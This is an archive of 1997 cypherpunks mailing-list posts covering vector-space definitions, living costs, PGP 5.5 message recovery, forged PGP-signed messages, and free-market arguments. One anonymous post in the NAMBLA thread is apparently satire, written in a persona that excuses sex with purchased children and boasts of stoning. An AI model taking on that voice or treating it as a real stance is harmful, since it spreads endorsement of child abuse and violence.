Message-ID: <199710270528.XAA02347@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 26 Oct 1997 19:13:12 -0800
> From: Kent Crispin <kent@bywater.songbird.com>
> Subject: Re: Orthogonal (fwd)

> > > I do believe the use of the term this way was inspired by the 
> > > notion of a 'basis' in a vector space -- a set of orthogonal
> > > vectors that span the space, ideally, unit vectors.
> > 
> > Can you better define the term 'basis'?
> 
> This is basic linear algebra:
> 
> V a vector space -- the set of all (s1,s2,s3,...,sn), where si is an
> element of the set of reals.

Actualy si (scalars) can be rational, real, or complex. It is also possible 
to use more general structures such as fields. [1]

Note that complex numbers numbers may be used, in other words a vector can
be used to multiply another vector.

> A set of vectors {v1,v2,...,vm} in V is

A vector of vectors, and you haven't even really defined vector yet...:(

> linearly independent if there is no set of scalars {c1,c2,...,cm} with
> at least one non-zero element such that sum(ci*vi) == 0

Are you saying:

(c1*v1)+(c2*v2)+...+(cn*vn) <> 0

where at least one ci is <>0, is some sort of test for membership in a vector
space? What about,

(1/c1*v1)+(-1/c2*v2)+(0*v3)...+(0*vn) = 0,
     1         -1

if so it should be clear that except for the case of c=0 there is always a
way to take two, which is clearly more than one, of the scalars and cause
the sum to be zero. Now if you have a single non-zero scalar multiplier then
it seems reasonable that you can create such a structure that is always <>0.

> A set of
> vectors S spans

In other words 'are expressible in'?

> a vector space V iff every element of V can be expressed
> as a linear combination of the elements of S.
              ^^^^^^^^^^^
              Need to better define this one.

The operations that are applicable to a vector space are: [1]

1.  Associative law of addition: (x+y)+z = x+(y+z)
2.  Commutative law of addition: x+y=y+x
3.  Existance of zero: x+0=x for all x in V
4.  Existance of inverses: x+(-x)=0
5.  Associative law of multiplication: a(bx)=(ab)x
6.  Unital law: 1*x=x
7.  First distributive law: a(x+y)=(a*x)+(a*y)
8.  Second distributive law: (a+b)*x=(a*x)+(b*x)

where x is of the form 'asubn(x^n)+bsubn-1(x^n-1)+...+asub1x+asub0'

This is a remarkably circular definition to present. In clearer wording;

The set of vectors S is expressible in a vector space V iff S is contained in 
V.

While this may be a requirement or test for membership in a vector space (as
used below) it doesn't qualify as a definition.

> Finally, a basis for 
> V is a linearly independent set of vectors in V that spans V.  A 
> space is finite dimensioned if it has a finite set for a basis.  The 
                                                 ^^^
                                                 set of what?

> standard basis (or natural basis) for a vector space of dimension n 
> is th set of vectors
> 
> (1,0,0,...0)
> (0,1,0,...0)
> (0,0,1,...0)

In other words, any 'vector' can be expressed as the sum of the
multiplication of unit elements by some set of scalars.

Is this definition something you just wrote or would you be so kind as to
give the reference if it isn't.

This definition uses 'basis', doesn't define it. You can't use a term to
define the term, it's called circular reasoning. My question still stands,
can you please better define 'basis'. Or is your claim that basis is simply
a way of stating 'elements of unit magnitude'?

Furthermore, a definition of vector space has nothing to do with orthogonal
measurement systems, it does have to do with polynomials. It just so
happens that this sort of geometry shares the same sort of rules, that
doesn't make them the same thing. There is nothing in your description, in
particular the nifty little (*,*,*,...*)'s that implies any sort of
measurement system based on line-segment axis that are 90 degrees apart,
merely that there is more than one variable (ie x,y,z,...a) involved. 

Vector space -  a vector space is a set of objects or elements that can be
                added together and multiplied by numbers (the result being
                an element of the set), in such a way that the usual rules
                of calculations hold. [1]


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|


[1]  The VNR Concise Encyclopedia of Mathematics
     Gellert, Kustner, Hellwich, Kastner
     ISBN 0-442-22646-2
     17.3 Vector spaces
     pp. 362


[Hallowen Trivia]

   'Dracula' is a word derived from 'dracul' meaning dragon and was given
   to Vlad Tepish, whose name means 'son of the devil', he was further known
   as Vlad the Impaler because he would impale people on poles and place them
   along the roads in Transylvania. When he died in 1496 his head was
   impaled on a stick as well.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Mon, 27 Oct 1997 13:51:25 +0800
To: ravage@ssz.com (Jim Choate)
Subject: Re: poverty traps (Re: Sa (fwd)
In-Reply-To: <199710260243.VAA31587@einstein.ssz.com>
Message-ID: <199710270540.FAA06551@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Jim Choate wrote:
> > Food: $600/month (generous)
> 
> Hell, I'm single and come close to this and food costs in Texas are a LOT
> lower than in New York. Though I do eat out at lunch every weekday. And no,
> I don't go partying regularly at all. Way too busy with work (>16hrs/day
> 5 days a week & 16-20 on weekends) to do that other than a couple of times a
> month. I went to the store today and bought enough food for 4 days and it
> cost me $30. So that comes to something like $250 - $300 for me not counting
> lunches, and that's for just a single person. Multiply that for 6 and the
> numbers are considerably higher.

Oh my Gawd! And I thought I was spending too much on food! I guess the
prices in OK are the same as in TX.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 27 Oct 1997 14:00:06 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: poverty traps (Re: Sa (fwd)
Message-ID: <199710270548.XAA02492@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: poverty traps (Re: Sa (fwd)
> Date: Sun, 26 Oct 1997 23:40:15 -0600 (CST)
> From: ichudov@algebra.com (Igor Chudov @ home)

> Jim Choate wrote:
> > > Food: $600/month (generous)
> > 
> > Hell, I'm single and come close to this and food costs in Texas are a LOT
> > lower than in New York. Though I do eat out at lunch every weekday. And no,
> > I don't go partying regularly at all. Way too busy with work (>16hrs/day
> > 5 days a week & 16-20 on weekends) to do that other than a couple of times a
> > month. I went to the store today and bought enough food for 4 days and it
> > cost me $30. So that comes to something like $250 - $300 for me not counting
> > lunches, and that's for just a single person. Multiply that for 6 and the
> > numbers are considerably higher.
> 
> Oh my Gawd! And I thought I was spending too much on food! I guess the
> prices in OK are the same as in TX.

>From the times I have been in Oklahoma (my family is ensconced along the Red
River - Murphies, Joneses, Peoples, etc.) I would say the costs are about
the same.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 27 Oct 1997 23:50:21 +0800
To: Joubin <cypherpunks@toad.com>
Subject: Re: Request for expert opinion and Feedback
In-Reply-To: <34514B35.AE826953@inch.com>
Message-ID: <v0300784cb079ec72e4ce@[207.94.249.37]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:28 PM -0700 10/24/97, Joubin wrote:
>I am involved in a project which aims at the creation of a free and
>portable Java(tm) based object operating system.  A basic functional
>requirement for this new OS is to provide /fast and effective/ strong
>cryptographic support at the OS level.
>
>...
>
>Your expert advice:
>
>a) How do you feel about 'where' the computational support should be
>   implemented ?

Look at the Java Ecnryption stuff that JavaSoft has put out.  The
interfaces aren't too bad, and in any case you will need native code for
efficency at the lowest level.

>c) Is there any benefit to implementing the random number generation
>   system in the Kernel?

Yes.  In the kernel, you have access to many more hard-to-guess physical
inputs than an application level program


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 27 Oct 1997 07:33:24 +0800
To: cypherpunks@toad.com
Subject: Re: NAMBLA embattled -- mirror sites?
Message-ID: <199710262317.AAA26327@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan writes:

>Folks on f-c and cypherpunks have mirrored holocaust revisionist web
>pages, banned books, and censored newspapers. Now I understand that NAMBLA
>is in danger of losing its home on the web. Anyone up for mirroring the
>(text-only)  publications of perhaps the world's most controversial
>organization?

Nah, I'll pass on this one. If the membership list is included, I'd be glad
to forward it to my local police, though...

I'm not sure the right to free speech includes the right to endorse guys
fucking little boys, whether they give it a moniker like "transgenerational
love" or not. Any sex with a minor is rape, since they can't legally give
consent. All Hillary Klinton's "It Takes A Village" bullshit aside, I can't
see giving NAMBLA the same kind of protection as someone like Zundel.

Ratbert






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Six <ualdv8@sk.sympatico.ca>
Date: Mon, 27 Oct 1997 16:04:15 +0800
To: cypherpunks@toad.com
Subject: Re: I Broke PGP!!!
In-Reply-To: <345316D6.2F73@pgp.com>
Message-ID: <34543357.2971@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Jon Callas, on behalf of the Electronic Forgery Foundation, wrote:
> 
> Sorry...

ROTFLMAO!
(Don't worry, Jon, I think it can be fixed.)

Philip R. Zimmermann, on behalf of the Electronic Forgery Foundation
and the Circle of Eunuchs, wrote:
>----------------------------------------------------------------------
>                           InfoWar Table of Contents
>    * Epilogue
>    * I Broke PGP!
>----------------------------------------------------------------------
>                                 I Broke PGP!
>                                    by RTFM
...
>                                Vulnerabilities
>                                ===============

I have known TruthMonger #1's nephew for a number of years, and have
played no small hand in teaching him to intercept his uncle's email
and add his own small touches to the messages contained therein. So
it came as no surprise to me to see a message which contained a
prophecy of a chapter of 'InfoWar' titled, "I Broke PGP!" and a
ludicrous claim that the 'writer' would kiss everyone's dirty,
hairy, ass if he could not back up that claim.
To tell the truth, I thought that Human Gus-Peter had finally used 
his uncle's mouth to write a check his uncle's ass couldn't cash.

After reading 'InfoWar Epilogue 7' I thought that #1 had indeed 
cashed the promised check, but had perhaps done so in the manner of
a 'trickster'. However, after reading Jon Callas' 'apology' for
'breaking' PGP, I realized that TruthMonger had perhaps made a more
succinct statement regarding the recent developments in PGP/CMR
than many of the more lengthy missives recently written and/or
ranted on the Cypherpunks mailing list.
~~~~~~~~~~
Disclaimer: I am writing this on Toto's laptop, under the influence
~~~~~~~~~~ of half a bottle of his finest Scotch.

In short, I have come to the conclusion (_remembered_ would be a
more appropriate word, actually) that it is not up to Philip R.
Zimmermann or Jon Callas to protect and defend my privacy.
It is up to _me_ to protect and defend my privacy. Always has 
been, always will be.

It has long been a tradition for CofE members who have not seen
each other for a long time to get together for a drink and read
PRZ's PGP documentation, once again, before continuing on to 
discuss our current adventures in the time-space continuum.
If you will sit and read it, now, I believe you will perhaps
'remember' that PRZ has never, from the beginning, pretended to
have written anything other than a program which will give you
and I 'Pretty Good Privacy'.

The cold, hard fact of the matter is, no matter how grand or secure
the design of PGP, or any other security product, there are going
to be a mountain of users, from the secretary to the head of system
security, who are going to write their triple-secret password on
a piece of tape on the underside of their keyboard.
Although it is important to discuss (even to rant and rave over)
the issues surrounding the design, development and implementation
of products such as PGP, there is something, in the end, that is
even more important to discuss than the security or lack thereof
of encryption systems and products: Vulnerability.

Bonus Question: "Who is TruthMonger #1?"
Bonus Answer: "He's Randall Farmer's best friend."

Love,
 Tokyo Rose
 ~~~~~~~~~~
"Loose lips...pink slips."
~~~~~~~~~~~~~~~~~~~~~~~~~~
Re: PRZ Announcement
Randall Farmer (rfarmer@HiWAAY.net)
Fri, 24 Oct 1997 16:37:28 -0500 (CDT) 

 Damn, that's annyoing. I don't have a PGP key, and never sign my
messages. Note
that my real message trailer has a line of dashes before it. I'm putting
something confirming that the other message was a forgery (and
confirming that
I don't have a PGP key) on my web page -- http://hiwaay.net/~rfarmer
(even the
forger agrees that's my page). 

I'll also (possibly) create a key and post the real fingerprint/ID on my
page
if this becomes a problem. (Actually, probably not...can only run 2.6.2)

Note that the keyserver probably has this as my key...I'll use a
different name
for my real key.

Some lame forger pretended Randall Farmer wrote:

> Some lame forger pretended Randall Farmer wrote:
> 
> > On Thu, 23 Oct 1997, there's no way in nine hells that Phillip R. Zimmermann
> > could have wrote:
> > ...
> > > However, I have reassessed my views of who truly has a right
> > > to control access to privacy and have come to the conclusion
> > > that privacy is too important an issue to be left in the hands
> > > of the individual, with the obvious potential for misuse.
> > 
> > Hmm...I haven't checked any signatures or headers yet, but something tells me
> > that this ain't PRZ. For example, the Organization: header refers to Orwell's
> > 1984 as a "blueprint"...forget the signatures (just got a message saying they
> > match -- either that person's lying, "they" cracked his key, or it's some
> > detail that has the program using a different key/ignoring some text), it is
> > psychologically impossible for someone to go from privacy advocate to
> > 1984-as-a-blueprint that quick.
> > 
> > ---------------------------------------------------------------------------
> 
> The above is a lame forgery by some troublemaker, and only 
> serves to underscore PRZ's new position, namely, that access
> to privacy should be supervised by people who have shown that
> they have the maturity to act responsibly, as evidenced by
> their success in a corporate atmosphere.
> 
> I am PGP signing this post so that there can be no doubt as
> to its source and authenticity.
> Cypherpunks list subscribers should be more careful about
> checking signatures before believing everything they read.
> 
> Randall Farmer
> rfarmer@hiwaay.net
> http://hiwaay.net/~rfarmer
> 
> -----BEGIN PGP SIGNATURE-----
> Version: PGP for Personal Privacy 5.0
> Charset: noconv
> 
> iQA/AwUBNFAK/BpRm26Z4YsSEQIA0wCeJZ7R9w/XfDuE0HMo+eP/0ihYOykAoNef
> Gt1hIbRHpYtJ1jp/79hWZl0G
> =E9PX
> -----END PGP SIGNATURE-----
> 
> 

---------------------------------------------------------------------------
Randall Farmer
rfarmer@hiwaay.net
http://hiwaay.net/~rfarmer





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Julian Assange <proff@iq.org>
Date: Mon, 27 Oct 1997 09:19:33 +0800
To: cypherpunks@toad.com
Subject: cryptographic anecdotes
Message-ID: <19971027010829.851.qmail@iq.org>
MIME-Version: 1.0
Content-Type: text/plain




I'm involved in producing a segment on cryptograpic issues for Radio
National (ABC) to be aired latter this week. I have no problems with
the technical issues but could use some (reliable) "colour" i.e small
quirky or unusual anecdotes that will draw in and hold the larger
order of listeners who don't otherwise have any cryptography/
cryptographic-policy background.

	e.g	o RSA export-a-crypto-system .sig
		o algorithm tatoos (couldn't find any confirmation of
		  this :()
		o if cryptography is arms, then US constitution
		  right to bear arms
		o programming languages embody freedom of speech
		  (patel)
		o (otoh) machine-understandable languages are not protected
		  speech: as soon as a computer can understand Ulysses
		  it's no-longer protected. (I'm not sure about Ulysses
		  but Oracle and the computational linguistics groups
		  at Edinburgh and MIT have code to perform summaries
		  of the King James bible).
	
Cheers,
Julian.

--
Prof. Julian Assange  |"Don't worry about people stealing your ideas. If your
		      | Ideas are any good, you'll have to ram them down
proff@iq.org          | people's throats."
proff@gnu.ai.mit.edu  |                -- Howard Aiken     





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Date: Mon, 27 Oct 1997 14:44:52 +0800
To: ravage@ssz.com
Subject: Re: Orthogonal (fwd)
In-Reply-To: <199710270042.SAA01737@einstein.ssz.com>
Message-ID: <199710270636.BAA11525@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

An entity claiming to be Jim Choate wrote:

: I can see the union 'build complicated things out of basic building blocks'
: and the use of Occam's Razor (I'm as lazy as any other programmer) but fail
: to see how this maps to anything relating to the concept of orthogonal.
: Which clearly doesn't have any inherent minimalist cast.
: 

Minimalism is merely a by-product of orthogonality.  A language is considered
orthogonal if builtin functions do not provide overlapping functionality.
So the term orthogonal probably refers to the fact that there is no
point of intersection in the functionality of the language (or system, as
the thread started out).

And I will not argue about vector spaces until I get bookshelves and actually
dig my Linear Algebra texts out of the boxes around my apartment.

Mark

- -- 
[] Mark Rogaski                   "That which does not kill me
[] wendigo@pobox.com                 only makes me stranger."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNFQ2VcHFI4kt/DQOEQJthACfRixtwgdtb1+IYITBX39GewBXi58AoN4k
J7kuqRvU6PMP4//S/WzfVYWy
=HZWg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Thomas Junker" <tjunker@mail.phoenix.net>
Date: Mon, 27 Oct 1997 16:39:17 +0800
To: Lucky Green <cryptography@c2.net
Subject: Re: Technical Description of PGP 5.5
In-Reply-To: <199710241425.PAA01534@server.test.net>
Message-ID: <199710270843.CAA26524@raid2.fddi.phoenix.net>
MIME-Version: 1.0
Content-Type: text/plain



On 25 Oct 97 at 11:03, Lucky Green wrote:

> At 03:25 PM 10/24/97 +0100, Adam Back wrote:
> 
> >If the pgp5.5 functionality is designed to provide companies with a
> >disaster recovery procedure (forgotten passphrase, or dead employee),
> >there are much better ways to do it.  We're not arguing against the
> >user requirement, just against the methodology.
> 
> There have been numerous proposals on the list to accomplish the above
> goals in a way other than the method employed by PGP. I have read the
> proposals and I am not convinced that said proposals are less intrusive.
> IMO the vast majority of the proposals I saw are more intrusive.

How about *no* recovery, eh?  Is that not less intrusive?

Recovery of messages in transit is a complete red herring.  Such
messages are not recoverable now except by means that are complete
no-brainers ("Joe, I never got your reply to my request for
blah-blah, did you send it?  If so, please resend.")  Isn't the mere
fact that such messages might be encrypted both incidental and
inconsequential?  Add to that the *fact* that Internet email is
nowhere as unreliable as so many seem to suggest.  The only losses
of email that I've ever seen were attributable to user error or ISP
outage, not to failure of delivery attributable to the network. I've 
maintained threads of back and forth email exceeding 600 message 
cycles without the thread being broken by failure of a message to 
arrive at its intended destination.

Recovery of messages in transit is entirely a snooping issue, 
methinks.

Recovery of stored messages and files also seems to me to be a
solution to a largely imaginary problem.  As I wrote before, there
are more ways and more likely ways to lose data than through keeping
encrypted files.  People live with it.  If they wish to address it,
either individually or institutionally, they can do so without
special features in PGP.  A feature in mail clients to store the 
decrypted message in place of the original would do more to avoid 
loss of stored encrypted messages than anything else I've seen 
proposed.

This reminds me a lot of the objections of a few to sending EDI 
traffic over the Internet.  When I proposed this in recent years I 
got a wail from some people over the loss of third-party time 
stamping and message delivery verification that can occur in the 
simpler scenarios of bypassing the cash-cow Value Added Networks.  
But, um, didn't everyone print those documents on *paper* and drop 
them into USPS *mail boxes* just a few short years ago?  What 
reliable third party time stamping and message delivery verification 
did they have then?  Am I mistaken or didn't the entire economy 
function on the basis of snail-mailed invoices and other documents? 
How on earth did people manage under those primitive circumstances?

How on earth can people manage email and disk files without the 
ability to "recover" data that can be lost in a thousand other ways 
that no encryption package can protect against.  Geez.  Let's get 
real here.

Regards,

Thomas Junker
tjunker@phoenix.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hgp@dev.null>
Date: Mon, 27 Oct 1997 17:25:09 +0800
To: Randall Farmer <rfarmer@HiWAAY.net>
Subject: Re: Mmphmmphmmmph! (WAS Re: I Broke PGP!!!)
In-Reply-To: <fabot4kvKmisnuI2Lpx8Ng==@bureau42.ml.org>
Message-ID: <345450B4.6957@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



bureau42 Anonymous Remailer wrote:
> > Bonus Question: "Who is TruthMonger #1?"
> > Bonus Answer: "He's Randall Farmer's best friend."

  No he isn't. I am!

> Public Key Server -- Index ``randall farmer''
>
> Type bits/keyID    Date       User ID
> pub   512/99E18B12 1997/10/24 *** KEY REVOKED ***
>                               Randall Farmer <rfarmer@HiWAAY.net>
 
{Him and Bianca are <doing the dirty deed>! so I am using his 
 computer.}

I am going to see if I can un-revoke the key, too. But if I can,
then I will re-revoke it. 
{I just want to see if I can do it.}

> After looking at other posts that have Truthmangler in them instead
> of Truthmonger I think that it might be a sign that the nephew is
> messing with them since they seem to have things inserted in them
> which appear to come more from a childs mind than Truthmongers.
> [If that is possible.] (;>)

  Nope. You're wrong!

TruthMangler (hee, hee...)
~~~~~~~~~~~~
p.s. - I know who you are, too, Mr. Anonymous person who works for
my uncle's internet provider. Am I right?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 27 Oct 1997 09:43:51 +0800
To: cypherpunks@toad.com
Subject: Re: NAMBLA embattled -- mirror sites?
Message-ID: <199710270130.CAA15425@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:

> I'm not sure the right to free speech includes the right to endorse guys
> fucking little boys, whether they give it a moniker like "transgenerational
> love" or not. Any sex with a minor is rape, since they can't legally give
> consent. All Hillary Klinton's "It Takes A Village" bullshit aside, I can't
> see giving NAMBLA the same kind of protection as someone like Zundel.
> 
> Ratbert

I am being in agreement with Mr. Ratbert, here.

I am seeing the writing of women in your country who write about the
showing of their bare legs and the uncovering of their faces and I
am thinking that this also should not get the protection of being
able to write about such abominations.
And making the rape with minors is also an abomination, unless you
have bought them from their families, and then it is OK that you
should write about it.
I am stoning to death just last week a man who raped a ten year old
girl without paying any dowry, and people should not write about this
either.

I would like to meet some cypherpunks girls with their faces uncovered
sometimes, but just for the evening, OK?

Mr. Ratali





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Mon, 27 Oct 1997 19:28:22 +0800
To: shamrock@cypherpunks.to
Subject: Re: PGP Employee on MKR
Message-ID: <877948732.5974.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



shamrock@cypherpunks.to wrote:

> OK, I must be missing something. How can it be more evil if the email
> isn't automatically sent to the owner of the MK key than if the email is
> automatically cd'ed?

Uh, don't understand the question. The issue is that it's being encrypted
to multiple keys for one recipient.

> Agreed. And so did PGP 2.x and any version of PGP that allows for
> encryption to multiple keys. Anybody can take the 2.6 source and hardcode
> in a second recipient key.

But, for the fifth or sixth time, _that isn't being shipped as standard 
by PGP_. 

> I read the recently  proposed alternatives
> and fail to see how they would prevent GMR any more than PGP's solution.
> All I saw were convoluted and frequently hasty designs, many of which
> lend themselves even more to GAK then what PGP did.

Really? I seem to recall Jon Callas saying my system 'redesigned CMR' 
but was simpler than theirs. The mere fact that CMR requires an enforcer 
implies that it's a convoluted and hasty design. 

> Once, (as many of you know IMHO it is a "once", not an "if")  GAK becomes
> mandatory, it can be implemented with 2.6 just a easy as
> with 5.5.

But it can't; for a start 2.6-based GAK won't interoperate with 
international versions the way that CMR will. Cutting the US off from
encrypted mail from the rest of the world would probably not go down
too well.

Lucky, one question: wouldn't you be complaining if Netscape or Microsoft
were shipping a system which enforced encryption to snooping keys? Why should 
we feel any differently about PGP?

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 27 Oct 1997 18:58:11 +0800
To: CYPHERPUNKS@ssz.com
Subject: Re: poverty traps (Re: Sa
Message-ID: <3.0.32.19971027024339.006adea0@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



harka@nycmetro.com wrote:

>Further it is a social issue of importance also for Cypherpunks.
>Obviously we don't want governments "taking care of people", but
>desire individual freedom, self-determination and independence
>instead. However, as proven such things are possible in the "free
>market" only to a limited degree, i.e not applicable by default to
>everybody, IMHO.
   [. . .]
>If anybody _does_ have a solution, that enables _all_ people
>(regardless of background) to become truly free and also provides a
>realistic way to achieve that (for everybody), then I'll be more
>than happy to listen and to adjust my own perspective.
..................................................


The concept of a free market is not that it will "make you" free, nor that
it shall "provide you" ("you" being any one engaged in the exchange of
goods/services) with a perfect life, free of worry and the work of thought
and decision-making, creating the "perfect life" solution for everybody.
A free market doesn't "do things" for a person in spite of themselves.

In a free market scenario it is intended that any individual will be a free
agent - free from government interferance, free from government compulsion
- to create their *own* life's "solution", satisfactory to themselves
(regardless of whether it agrees with, or is at variance to, any one else's
standards of living). 

It is intended that an individual will be left to their own devices, to
seek out the methods which they themselves calculate will lead to the
achievement of their own goals, according to their own vision of success  -
that is, not the government's vision of success, nor the vision of their
neighbor, or of their mother-in-law, or anyone else who wants to shape
one's life for them and tell one what to do with it and how (no, Jim
Choate, I am not discriminating against Mothers-in-law, I'm just using them
as a stereotypical example of an interfering busy-body.  Don't worry about
it.).

It is way too easy to say that if you don't like something (like working
for a certain employer) you should change employers (easier to say than
done).   But the real aim of this argument is against the attitude of
tolerance, of tolerating the unacceptable or uncomfortable; it is that when
a person finds themselves seemingly trapped, they should not merely suffer
the circumstance (or worse, whine about it to everyone within earshot), but
should rather orient themselves towards finding a creative solution and
never cease searching for a way out.  Because nothing is created or
advanced into improvement by merely tolerating the intolerable, by just
"taking what was given", or from continuing to bear up under low standards
of functioning.   

The "free market " is not for the purpose of freeing everyone from the work
of solving their own problems; the idea is to leave them free to negotiate
with others on the terms of their interactive business arrangements (you
know - work/pay, hours/compensation, overtime/stock options, your place/my
place, etc.  Ideally, that is.  As everyone knows, we do not live in a
"pure" free-market economy, therefore these negotiations are presently all
regulated, to force everyone into a standardized success & happiness).   

There are many obstacles to overcome in an imperfect world, in an imperfect
society, in an imperfect economy, under imperfect governments, not to
mention all the competition.  It is very discouraging and sometimes you
want to hug your Teddy Bear for comfort [ :>) ].  But sometimes the first,
and largest,  obstacle to overcome is one's own pessimism and negativity
against mustering up the courage and creativity to "push the envelope".
This fatalism is what is being criticized.

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 27 Oct 1997 18:57:15 +0800
To: Harish Pillay <harish@ganymede.contact.com.sg>
Subject: Re: Singaporean control freaks & CMR (Re: puff pieces vs tough crypto  issues)
Message-ID: <3.0.32.19971027025435.006b993c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Harish Pillay wrote:

>I don't think the "micro management" is at it's worst in Singapore - not by 
>a long shot.  It is true that the Singapore government tries to do so and 
>in a lot of what they attempt, they somehow come out smelling roses.  But 
>they have goofed up royally as well.  
...................................................................


If you don't mind my asking in front of everybody, how do you stand it,
living there?  Do you get very frustrated (it sounds as though you might),
and want to leave for Anguilla?   Do you remind yourself not to litter with
those gum wrappers you're not supposed to have anyway, what do you think
when you're being incentivized to find a sexual partner and produce
children, or to Do This and Not do That or risk painful punishments?  Do
co-workers become critical of each other's petty "crimes", do you feel
opressed all around, or is it not as bad as it seems from here?


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 27 Oct 1997 21:26:57 +0800
To: cypherpunks@ssz.com
Subject: Don't Worry, Be Happy
Message-ID: <3.0.32.19971027051811.0068ac14@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Unix and other OSes were designed for Elite Techno-savvy Info Warriors like
yourselves.  Windows and the other MS apps are designed to appeal to the
"common folk" who would still rather use a pc than a Mac in spite of
psychological counseling against it (<g>).   They have choices, there are
many stores and vendors, they take their pick.

As long as you can get what you want, what do youall care what other people
use - why do you worry for everyone?


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 27 Oct 1997 22:10:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: CMR versus GAK?
Message-ID: <3.0.32.19971027060249.006b2b1c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote, I think:

>Same goes for workers and youngsters who think the bosses and
>oldsters are duncemunge: WSJ, Dilbert and Phrack are funnies to 
>avoid the admitting the deeper complicity of secret crossovers by
>your favorite peer group into the opposing camps, political, economic, 
>legal, scientific, not to say no longer secure national and sexual borders.
..................................................


John, you should write a book.  
Light reading.   
haiku.



    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 27 Oct 1997 15:01:27 +0800
To: cypherpunks@toad.com
Subject: Re: cryptographic anecdotes
In-Reply-To: <19971027010829.851.qmail@iq.org>
Message-ID: <199710270529.GAA08435@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



http://dcs.ex.ac.uk/~aba/rsa/tattoo.html

At 01:08 AM 10/27/97 -0000, you wrote:
>
>I'm involved in producing a segment on cryptograpic issues for Radio
>National (ABC) to be aired latter this week. I have no problems with
>the technical issues but could use some (reliable) "colour" i.e small
>quirky or unusual anecdotes that will draw in and hold the larger
>order of listeners who don't otherwise have any cryptography/
>cryptographic-policy background.
>
>	e.g	o RSA export-a-crypto-system .sig
>		o algorithm tatoos (couldn't find any confirmation of
>		  this :()
>		o if cryptography is arms, then US constitution
>		  right to bear arms
>		o programming languages embody freedom of speech
>		  (patel)
>		o (otoh) machine-understandable languages are not protected
>		  speech: as soon as a computer can understand Ulysses
>		  it's no-longer protected. (I'm not sure about Ulysses
>		  but Oracle and the computational linguistics groups
>		  at Edinburgh and MIT have code to perform summaries
>		  of the King James bible).
>


http://dcs.ex.ac.uk/~aba/rsa/tattoo.html 

I was so inspired by this guy that I had the source to sendmail tattooed on
my back and the source to emacs tattooed on my left thigh. I then figured
out I missed the point, this was supposed to be a political statement, so I
had the entire contents of the nambla web site tattooed on my left forearm.
Dont worry about mirroring it, if anyone wants to know whats on the namble
